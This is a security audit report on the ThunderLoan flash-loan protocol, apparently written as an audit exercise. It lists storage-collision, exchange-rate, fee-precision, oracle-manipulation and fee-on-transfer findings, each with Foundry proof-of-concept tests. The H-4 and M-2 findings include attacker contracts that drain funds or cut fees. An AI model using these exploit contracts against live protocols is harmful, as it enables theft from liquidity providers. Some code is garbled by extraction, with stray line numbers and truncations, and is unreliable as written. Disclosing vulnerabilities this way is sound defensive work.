

# **ThunderLoan Protocol Audit Report**

Version 1.0

0xl33

# ThunderLoan Protocol Audit Report

### 0xl33

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# **Protocol Summary**

The ThunderLoan protocol is meant to do the following:

- 1. Give users a way to create flash loans
- 2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into Thunder Loan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

# **Risk Classification**

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## **Audit Details**

# Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
1 #-- interfaces
2 | #-- IFlashLoanReceiver.sol
3 | #-- IPoolFactory.sol
4 | #-- ITSwapPool.sol
5 | #-- IThunderLoan.sol
6 #-- protocol
7 | #-- AssetToken.sol
8 | #-- OracleUpgradeable.sol
9 | #-- ThunderLoan.sol
10 #-- upgradedProtocol
11 #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

### **Roles**

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

# **Executive Summary**

### **Issues found**

Severity	Number of issues found
High	4
Medium	3
Low	2
Total	9

# **Findings**

# High

# [H-1] Mixing up variable location causes storage collisions in ThunderLoan::s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning

**Description:** The ThunderLoanUpgraded.sol storage layout is not compatible with the storage layout of ThunderLoan.sol, which will cause storage collision and mismatch of variables at the time of upgrade.

**Impact:** After upgrade, the s\_flashLoanFee will have the value of s\_feePrecision. This means that users who take out flash loans right after an upgrade will be charged a 100% fee. Additionally the s\_currentlyFlashLoaning mapping will start on the wrong storage slot.

### **Proof of Concept:**

Add this function to ThunderLoanTest.t.sol:

```
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();
    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

### Test it with this command:

```
forge test --mt testUpgradeBreaks
```

You will notice that the test will pass, because fee Before Upgrade is not equal to fee After Upgrade in the test will pass and the test will be the

**Recommended Mitigation:** Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In Thunder Loan Upgraded .sol:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

# [H-2] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

**Summary:** Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited.

### **Details:**

### Per documentation:

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return.

These AssetTokens gain interest over time depending on how often people take out flash loans!

Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner.

**Impact:** Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all.

### **Proof of Concept:**

Add this function to ThunderLoanTest.t.sol:

```
function testExchangeRateUpdatedOnDeposit() public setAllowedToken {
   tokenA.mint(liquidityProvider, AMOUNT);
   tokenA.mint(user, AMOUNT);

// deposit some tokenA into ThunderLoan
   vm.startPrank(liquidityProvider);
```

```
tokenA.approve(address(thunderLoan), AMOUNT);
8
       thunderLoan.deposit(tokenA, AMOUNT);
9
       vm.stopPrank();
10
11
       // another user also makes a deposit
12
       vm.startPrank(user);
13
       tokenA.approve(address(thunderLoan), AMOUNT);
       thunderLoan.deposit(tokenA, AMOUNT);
14
15
       vm.stopPrank();
16
17
       AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
18
19
       // after a deposit, asset token's exchange rate has aleady
          increased
20
       // this is only supposed to happen when users take flash loans with
            underlying
       assertGt(assetToken.getExchangeRate(), 1 * assetToken.
           EXCHANGE_RATE_PRECISION());
22
23
       // now liquidityProvider withdraws and gets more back because
           exchange
24
       // rate is increased but no flash loans were taken out yet
       // repeatedly doing this could drain all underlying for any asset
25
           token
26
       vm.startPrank(liquidityProvider);
       thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider))
27
28
       vm.stopPrank();
29
       assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT);
31 }
```

### Test it with this command:

```
forge test --mt testExchangeRateUpdatedOnDeposit
```

You will notice that the test will pass, because tokenA.balanceOf(liquidityProvider) will be greater than AMOUNT.

### **Recommended Mitigation:**

It is recommended to not update exchange rate on deposits and update it only when flash loans are taken, as per documentation.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
    ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
```

```
assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

### [H-3] Fees calculated are far smaller for non-standard ERC20 tokens, who have less decimals

**Summary:** Within the functions Thunder Loan: :getCalculatedFee() and Thunder Loan Upgraded ::getCalculatedFee(), an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

### **Vulnerability Details:**

```
1 // ThunderLoanUpgraded.sol
  function getCalculatedFee(IERC20 token, uint256 amount) public view
3
      returns (uint256 fee) {
4
          //slither-disable-next-line divide-before-multiply
5 @>
          uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
      (token))) / FEE_PRECISION;
          //slither-disable-next-line divide-before-multiply
6
7
  @>
          fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
8
      }
```

**Impact:** Taking flashloans of tokens that have less than 18 decimals, makes the fee much smaller.

# **Proof of Concept:**

Let's say: - user\_1 takes a flashloan of 1 ETH. - user\_2 takes a flashloan of 2000 USDT.

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
               (token))) / s_feePrecision;
7
           // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
8
9
           // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI
10
11
           fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
12
13
           //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
           //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000000
14
15
       }
```

The fee for user\_2 is much lower than for user\_1, despite them taking a flashloan of approximately the same value (in the case where: 1 ETH = 2000 USDT).

**Recommended Mitigation:** Adjust the precision accordingly with the allowed tokens, considering that non-standard ERC20s could have less than 18 decimals.

# [H-4] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay, users can steal all funds from the protocol

**Summary:** An attacker can acquire a flash loan and deposit funds directly into the contract using the ThunderLoan::deposit function, which enables draining all the funds.

**Vulnerability Details:** The flashloan function performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using token.balanceOf (address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit function, instead of repay function. This action allows the attacker to mint AssetToken and subsequently redeem it using the redeem function. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

**Impact:** All the funds in the AssetToken.sol contract can be stolen.

## **Proof of Concept:**

To execute the test successfully, please complete the following steps: 1. Place the attack. sol file within the mocks folder. 2. Import the contract in ThunderLoanTest.t.sol. 3. Add testattack function in ThunderLoanTest.t.sol. 4. Change the setUp function in ThunderLoanTest.t.sol.

```
1 import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
3
           vm.startPrank(user);
           tokenA.mint(address(attack), AMOUNT);
4
5
           thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
               "");
           attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
6
               tokenA)));
           thunderLoan.redeem(tokenA, type(uint256).max);
8
           vm.stopPrank();
9
           assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
10
               (tokenA))), DEPOSIT_AMOUNT);
11
       }
```

### attack.sol:

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
4
   import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
      SafeERC20.sol";
6 import { IFlashLoanReceiver } from "../../src/interfaces/
      IFlashLoanReceiver.sol";
7
8 interface IThunderLoan {
9
       function repay(address token, uint256 amount) external;
10
       function deposit(IERC20 token, uint256 amount) external;
11
       function getAssetFromToken(IERC20 token) external;
12 }
13
14
15 contract Attack {
16
       error MockFlashLoanReceiver__onlyOwner();
17
       error MockFlashLoanReceiver__onlyThunderLoan();
18
19
       using SafeERC20 for IERC20;
```

```
20
21
       address s_owner;
22
       address s_thunderLoan;
23
24
       uint256 s_balanceDuringFlashLoan;
25
       uint256 s_balanceAfterFlashLoan;
26
       constructor(address thunderLoan) {
27
28
           s_owner = msg.sender;
            s_thunderLoan = thunderLoan;
29
            s_balanceDuringFlashLoan = 0;
31
       }
32
       function executeOperation(
34
            address token,
           uint256 amount,
           uint256 fee,
37
            address initiator,
38
            bytes calldata /* params */
       )
40
            external
41
           returns (bool)
42
            s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
43
               ));
44
45
            if (initiator != s_owner) {
46
                revert MockFlashLoanReceiver__onlyOwner();
47
           }
48
49
            if (msg.sender != s_thunderLoan) {
50
                revert MockFlashLoanReceiver__onlyThunderLoan();
51
            }
            IERC20(token).approve(s_thunderLoan, amount + fee);
52
            IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
53
            s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
54
               );
55
            return true;
       }
57
58
       function getbalanceDuring() external view returns (uint256) {
59
            return s_balanceDuringFlashLoan;
       }
61
        function getBalanceAfter() external view returns (uint256) {
62
63
            return s_balanceAfterFlashLoan;
64
       }
65
        function sendAssetToken(address assetToken) public {
67
```

Notice that the assertLt function checks whether the balance of the AssetToken contract is less than the DEPOSIT\_AMOUNT, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

### **Recommended Mitigation:**

Add a check in deposit function to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan function and checking it in deposit function.

#### Medium

# [M-1] Thunder Loan: setAllowedToken can permanently lock liquidity providers out from redeeming their tokens

**Summary:** If the ThunderLoan::setAllowedToken function is called with the intention of setting an allowed token to **false** and thus deleting the assetToken-to-token mapping; nobody would be able to redeem funds of that token in the ThunderLoan::redeem function and thus have them locked away without access.

# **Vulnerability Details:**

If the owner sets an allowed token to **false**, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the ThunderLoan: redeem function.

```
function setAllowedToken(IERC20 token, bool allowed) external
           onlyOwner returns (AssetToken) {
2
           if (allowed) {
               if (address(s_tokenToAssetToken[token]) != address(0)) {
                   revert ThunderLoan__AlreadyAllowed();
5
               }
6
               string memory name = string.concat("ThunderLoan ",
                   IERC20Metadata(address(token)).name());
7
               string memory symbol = string.concat("tl", IERC20Metadata(
                   address(token)).symbol());
               AssetToken assetToken = new AssetToken(address(this), token
8
                   , name, symbol);
9
               s_tokenToAssetToken[token] = assetToken;
               emit AllowedTokenSet(token, assetToken, allowed);
11
               return assetToken;
```

```
function redeem(
1
2
           IERC20 token,
3
           uint256 amountOfAssetToken
4
       )
5
           external
6
           revertIfZero(amountOfAssetToken)
           revertIfNotAllowedToken(token)
7
  (a>
8
       {
9
           AssetToken assetToken = s_tokenToAssetToken[token];
           uint256 exchangeRate = assetToken.getExchangeRate();
           if (amountOfAssetToken == type(uint256).max) {
11
12
                amountOfAssetToken = assetToken.balanceOf(msg.sender);
13
14
           uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
               / assetToken.EXCHANGE_RATE_PRECISION();
15
           emit Redeemed(msg.sender, token, amountOfAssetToken,
               amountUnderlying);
           assetToken.burn(msg.sender, amountOfAssetToken);
17
           assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
18
       }
```

**Impact:** Liquidity providers will not be able to redeem their deposited tokens, thus losing money.

### **Proof of Concept:**

The below test passes with a ThunderLoan\_\_NotAllowedToken error. Proving that a liquidity provider cannot redeem their deposited tokens if setAllowedToken is set to **false**, Locking them out of their tokens.

```
function testCannotRedeemNonAllowedTokenAfterDepositingToken()
2
          vm.prank(thunderLoan.owner());
3
          AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
              true);
4
          tokenA.mint(liquidityProvider, AMOUNT);
5
6
          vm.startPrank(liquidityProvider);
          tokenA.approve(address(thunderLoan), AMOUNT);
7
8
          thunderLoan.deposit(tokenA, AMOUNT);
9
          vm.stopPrank();
          vm.prank(thunderLoan.owner());
```

# **Recommended Mitigation:**

It would be wise to add a check if AssetToken contract holds any balance of the ERC20, and if so, then the owner should not be able to remove the mapping.

```
function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
2
           if (allowed) {
3
               if (address(s_tokenToAssetToken[token]) != address(0)) {
4
                    revert ThunderLoan__AlreadyAllowed();
5
6
               string memory name = string.concat("ThunderLoan ",
                   IERC20Metadata(address(token)).name());
               string memory symbol = string.concat("tl", IERC20Metadata(
7
                   address(token)).symbol());
               AssetToken assetToken = new AssetToken(address(this), token
8
                   , name, symbol);
9
               s_tokenToAssetToken[token] = assetToken;
               emit AllowedTokenSet(token, assetToken, allowed);
10
11
               return assetToken;
12
           } else {
               AssetToken assetToken = s_tokenToAssetToken[token];
               uint256 hasTokenBalance = IERC20(token).balanceOf(address(
14
      assetToken));
15 +
               if (hasTokenBalance == 0) {
                   delete s_tokenToAssetToken[token];
17
                   emit AllowedTokenSet(token, assetToken, allowed);
18 +
               }
19
               return assetToken;
           }
21
       }
```

# [M-2] Using TSwap as price oracle can lead to price oracle manipulation attacks

**Description:** The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

### Impact:

An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

- 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price.
- 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small.

The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

## **Proof of Concept:**

Working test case:

The attacking contract implements an executeOperation function which, when called via the ThunderLoan contract, will perform the following sequence of function calls:

- Calls the mock pool contract to set the price (simulating manipulating the price)
- Repay the initial loan
- Re-calls flashloan, taking a large loan now with a reduced fee
- Repay second loan

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
5 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
      SafeERC20.sol";
6 import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/
      IFlashLoanReceiver.sol";
  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
7
8 import { MockTSwapPool } from "./MockTSwapPool.sol";
9 import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
11 contract AttackFlashLoanReceiver {
       error AttackFlashLoanReceiver__onlyOwner();
13
       error AttackFlashLoanReceiver__onlyThunderLoan();
14
```

```
15
        using SafeERC20 for IERC20;
16
17
        address s_owner;
18
        address s_thunderLoan;
19
20
        uint256 s_balanceDuringFlashLoan;
21
        uint256 s_balanceAfterFlashLoan;
22
23
        uint256 public attackAmount = 1e20;
24
        uint256 public attackFee1;
25
        uint256 public attackFee2;
26
        address tSwapPool;
        IERC20 tokenA;
27
28
29
        constructor(address thunderLoan, address tSwapPool, IERC20 tokenA
           ) {
            s_owner = msg.sender;
            s_thunderLoan = thunderLoan;
31
32
            s_balanceDuringFlashLoan = 0;
            tSwapPool = _tSwapPool;
34
            tokenA = _tokenA;
35
        }
37
        function executeOperation(
38
            address token,
39
            uint256 amount,
40
            uint256 fee,
41
            address initiator,
42
            bytes calldata params
43
        )
44
            external
45
            returns (bool)
46
        {
            s balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
47
               ));
48
            // check if it is the first time through the reentrancy
49
50
            bool isFirst = abi.decode(params, (bool));
51
52
            if (isFirst) {
53
                // Manipulate the price
54
                MockTSwapPool(tSwapPool).setPrice(1e15);
55
                // repay the initial, small loan
                IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
                IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 +
57
                    attackFee1);
                ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA,
58
                     attackAmount, abi.encode(false));
                attackFee1 = fee;
                return true;
61
            } else {
```

```
62
               attackFee2 = fee;
63
               // simulate withdrawing the funds from the price pool
               //MockTSwapPool(tSwapPool).setPrice(1e18);
64
               // repay the second, large low fee loan
               IERC20(token).approve(s_thunderLoan, attackAmount +
                   attackFee2);
               IThunderLoan(s_thunderLoan).repay(address(tokenA),
                   attackAmount + attackFee2);
               return true;
           }
       }
71
       function getbalanceDuring() external view returns (uint256) {
72
           return s_balanceDuringFlashLoan;
73
74
       function getBalanceAfter() external view returns (uint256) {
77
           return s_balanceAfterFlashLoan;
78
       }
79 }
```

The following test first calls flashloan() with the attacking contract, the executeOperation () callback then executes the attack.

```
function test_poc_smallFeeReentrancy() public setAllowedToken
      hasDeposits {
       uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price()
       console.log("price before: ", price);
3
       // borrow a large amount to perform the price oracle manipulation
4
5
       uint256 amountToBorrow = 1e6;
6
       bool isFirstCall = true;
7
       bytes memory params = abi.encode(isFirstCall);
8
9
       uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA,
           attackFlashLoanReceiver.attackAmount());
10
       // Give the attacking contract reserve tokens for the price oracle
11
           manipulation & paying fees
12
       // For a less funded attacker, they could use the initial flash
           loan to perform the manipulation but pay a higher initial fee
       tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);
13
14
15
       vm.startPrank(user);
16
       thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA,
           amountToBorrow, params);
17
       vm.stopPrank();
       assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
18
19
       uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).
           price();
20
       console.log("price after: ", priceAfter);
```

```
console.log("expectedSecondFee: ", expectedSecondFee);
console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
}
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

**Recommended Mitigation:** Use a manipulation-resistant oracle such as Chainlink.

# [M-3] Thunder Loan: : deposit function is not compatible with tokens that have transfer fees

**Summary:** Using "weird" ERC20s that have transfer fees and calling ThunderLoan::deposit makes the contract receive less tokens than inputted as amount, but mints asset tokens for the caller according to the inputted value, not the actual.

## **Vulnerability Details:**

Some ERC20 tokens have transfer fees implemented like autoLP fee, marketing fee etc. So, for example, when someone transfers 100 tokens and the transfer fee is 1%, then the receiver will get only 99 tokens.

ThunderLoan::deposit function mints asset tokens based on the amount of tokens that the caller has inputted as the amount parameter.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();

    uint256 mintAmount = (amount * assetToken.
    EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
```

```
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount)
;
10 }
```

As you can see in the highlighted line, it calculates the token amount based on amount rather actual token amount received by the contract. Due to this, if a user tries to call redeem function and input their full asset token balance as amountOfAssetToken, the transaction will revert due to the contract having insufficient funds.

**Impact:** Loss of user funds.

### **Proof of Concept:**

Tokens like STA and PAXG have fees on every transfer which means token receiver will receive less token amount, than the amount being sent. Let's consider example of STA here, which has 1% fees on every transfer. When user puts 100 tokens as input, then contract will receive only 99 tokens, as 1% goes to burn address (as per STA token contract design).

Imagine a scenario where:

- 1. Alice initiates a transaction to call deposit with 1 million STA. Attacker notices the transaction and frontruns Alice, by calling deposit with 2 million STA before her. So contract will receive 990,000 tokens from Alice and 198000 tokens from attacker.
- 2. Attacker calls withdraw using the full asset token amount he received while depositing. Attacker gets 1% more than he is supposed to get, as fee is deducted from contract's balance.
- 3. Alice won't be able to claim her full underlying token amount.

Here is a given example in foundry where we use an underlying token which has 1% fees:

add this custom mock token contract to the mocks folder:

```
1 // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.20;
3
4
  import {ERC20} from ".../token/ERC20/ERC20.sol";
   contract CustomERC20Mock is ERC20 {
6
       constructor() ERC20("ERC20Mock", "E20M") {}
7
8
9
       function mint(address account, uint256 amount) external {
10
           _mint(account, amount);
11
13
       function burn(address account, uint256 amount) external {
14
           _burn(account, amount);
15
       }
16
```

In BaseTest.t.sol we import custom ERC20 for underlying token creation which has 1% fees on transfers.

Update the BaseTest.t.sol file like this:

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4
     import { Test, console } from "forge-std/Test.sol";
5
     import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
     import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.
6
        sol":
     import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
7
     import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
8
9
   + import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
     import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
10
        ERC1967Proxy.sol";
12 contract BaseTest is Test {
13
       ThunderLoan thunderLoanImplementation;
       MockPoolFactory mockPoolFactory;
14
15
       ERC1967Proxy proxy;
16
       ThunderLoan thunderLoan;
17
18
       ERC20Mock weth;
19 - ERC20Mock tokenA;
       CustomERC20Mock tokenA;
20 +
21
       function setUp() public virtual {
23
           thunderLoan = new ThunderLoan();
24
           mockPoolFactory = new MockPoolFactory();
25
26
           weth = new ERC20Mock();
27 -
           tokenA = new ERC20Mock();
28 +
           tokenA = new CustomERC20Mock();
29
           mockPoolFactory.createPool(address(tokenA));
           proxy = new ERC1967Proxy(address(thunderLoan), "");
31
           thunderLoan = ThunderLoan(address(proxy));
32
           thunderLoan.initialize(address(mockPoolFactory));
34
       }
35 }
```

Add this test function to ThunderLoanTest.t.sol:

```
1
       function testAttackerGettingMoreTokens() public setAllowedToken {
2
           tokenA.mint(attacker, ATTACKER_AMOUNT);
           tokenA.mint(alice, ALICE_AMOUNT);
3
           vm.startPrank(attacker);
4
           tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
5
6
           // first deposit in contract by attacker
           thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
8
           vm.stopPrank();
9
           AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
10
           uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(
               address(asset));
           uint256 difference = ATTACKER_AMOUNT -
11
               contractBalanceAfterAttackerDeposit;
           uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
           console2.log(contractBalanceAfterAttackerDeposit, " contract
               balance of token A after first deposit");
           console2.log(attackerAssetTokenBalance, " attacker's balance of
14
                asset token");
           console2.log(difference, " difference between expected amount
               and actual amount");
16
17
           vm.startPrank(alice);
18
19
           tokenA.approve(address(thunderLoan), ALICE_AMOUNT);
20
           thunderLoan.deposit(tokenA, ALICE_AMOUNT);
21
           vm.stopPrank();
           uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(
22
               asset)) - contractBalanceAfterAttackerDeposit;
           console2.log(ALICE_AMOUNT, " input by alice");
23
           console2.log(actualAmountDepositedByUser, " actual amount
24
               deposited by Alice");
           console2.log(tokenA.balanceOf(address(asset)), " thunderloan
               balance of Token A after Alice deposit");
           console2.log(asset.balanceOf(alice), " Alice's asset token
               balance");
27
28
           vm.startPrank(attacker);
           thunderLoan.redeem(tokenA, asset.balanceOf(attacker));
29
           console2.log(tokenA.balanceOf(attacker), " attacker's balance")
               ; // amount he claimed
           vm.stopPrank();
           // if alice tries to claim her underlying tokens now, tx will
               fail as contract doesn't have enough funds
34
           vm.startPrank(alice);
           uint256 amountToClaim = asset.balanceOf(alice);
           vm.expectRevert();
           thunderLoan.redeem(tokenA, amountToClaim);
           vm.stopPrank();
```

```
40
41 }
```

Runthefollowingcommandinterminal: forge test --mt testAttackerGettingMoreTokens

# **Recommended Mitigation:**

Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.

deposit function can be written like this:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
           AssetToken assetToken = s_tokenToAssetToken[token];
2
           uint256 exchangeRate = assetToken.getExchangeRate();
3
4 +
           uint256 amountBefore = IERC20(token).balanceOf(address(this));
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
5 +
6 +
           uint256 amountAfter = IERC20(token).balanceOf(address(this));
           uint256 amount = AmountAfter - amountBefore;
           uint256 mintAmount = (amount * assetToken.
8
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
9
           emit Deposit(msg.sender, token, amount);
           assetToken.mint(msg.sender, mintAmount);
10
           uint256 calculatedFee = getCalculatedFee(token, amount);
12 -
           assetToken.updateExchangeRate(calculatedFee);
13
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
14
       }
```

### Low

# [L-1] ThunderLoan: :getCalculatedFee can return 0, which leads to reverted transactions

### **Vulnerability Details:**

When calling ThunderLoan: :getCalculatedFee, any value up to 333 inputted as amount can result in a returned value of 0.

If the fee is calculated as 0, then calling AssetToken::updateExchangeRate will revert the transaction with the custom error AssetToken\_\_ExhangeRateCanOnlyIncrease, because fee being 0 results in the new exchange rate being equal to the old exchange rate. This affects the ThunderLoan::deposit and ThunderLoan::flashloan functions, because they call updateExchangeRate.

**Impact:** Denial of service of ThunderLoan::deposit and ThunderLoan::flashloan functions when amount is being inputted as a value up to 333 (inclusive).

### **Proof of Concept:**

Add this test function to ThunderLoanTest.t.sol:

```
function testFuzzGetCalculatedFee() public {
2
           AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
3
           uint256 calculatedFee = thunderLoan.getCalculatedFee(
4
5
               tokenA,
6
               333
7
           );
8
           assertEq(calculatedFee, 0);
9
11
           console.log(calculatedFee);
       }
```

Run the test using this command: forge test --mt testFuzzGetCalculatedFee The test will pass successfully, because calculatedFee will be 0.

**Recommended Mitigation:** Improve the way how the fee is calculated and test it thoroughly.

### [L-2] updateFlashLoanFee() missing event

**Summary:** ThunderLoan::updateFlashLoanFee() and ThunderLoanUpgraded:: updateFlashLoanFee() functions do not emit an event, so it is difficult to track changes of the s\_flashLoanFee value off-chain.

### **Vulnerability Details:**

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
   if (newFee > FEE_PRECISION) {
      revert ThunderLoan__BadNewFee();
   }
   s_flashLoanFee = newFee;
   @> // missing event
   }
}
```

**Impact:** In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a FeeUpdated event, any off-chain service or user interface that needs to know the current s\_flashLoanFee would have to actively query the contract state to get the current value. This is

less efficient than simply listening for the FeeUpdated event, and it can lead to delays in detecting changes to the value of s\_flashLoanFee.

The impact of this could be significant because the s\_flashLoanFee is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

# **Recommended Mitigation:**

Emit an event for critical parameter changes.

### Example fix:

```
+ event FeeUpdated(uint256 indexed newFee);

function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan_BadNewFee();
    }

    s_flashLoanFee = newFee;
    emit FeeUpdated(s_flashLoanFee);
}
```